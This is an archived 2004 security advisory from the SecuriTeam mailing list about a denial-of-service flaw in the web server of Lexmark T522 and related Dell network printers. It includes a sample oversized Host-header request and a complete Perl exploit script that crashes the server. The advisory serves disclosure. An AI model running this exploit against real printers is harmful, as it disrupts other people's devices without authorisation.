

[NEWS] Lexmark Network Printers Built-in Web Server DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0093.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/27/04

To: list@securiteam.com

Date: 27 Jul 2004 20:03:01 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Lexmark Network Printers Built-in Web Server DoS

SUMMARY

Several Lexmark network printers are shipped with a built-in HTTP server for administrative tasks. The web server software is vulnerable to a Denial of Service attack that will force the web server to restart and/or stop taking requests.

DETAILS

Vulnerable Systems:

- * Lexmark T522 and all which use the specific web server
- * Dell network printers that use the same web server

The Server does not handle long HOST arguments in the HTTP Header correctly and therefore causes the server to crash. An example of sending such a request:

```
GET / HTTP/1.0\r\n /Host:AAAAAA[x1024]
```

Exploit:

```
#!/usr/bin/perl  
#
```

Securiteam: [NEWS] Lexmark Network Printers Built-in Web Server DoS

```
# Denial of Service agains Lexmark T522 Network Printer Webserver  
# by snakebyte / eric (http://www.snake-basket.de )  
use Socket;
```

```
$target = "192.168.0.54";  
$port = "80";  
$lamecode = "A" x 1023;
```

```
$iaddr = inet_aton($target);  
$paddr = sockaddr_in($port, $iaddr) || die "getprotobyname: $!\n";  
$proto = getprotobyname("tcp") || die "getprotobyname: $!\n";  
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die "socket: $!\n";  
connect(SOCKET, $paddr) || die "connection attempt failed: $!\n";  
send(SOCKET, "GET / HTTP/1.0\r\n", 0);  
send(SOCKET, "Host: ".$lamecode."\r\n\r\n", 0);  
close SOCKET;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pkcr@csis.dk>> Peter Kruse.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.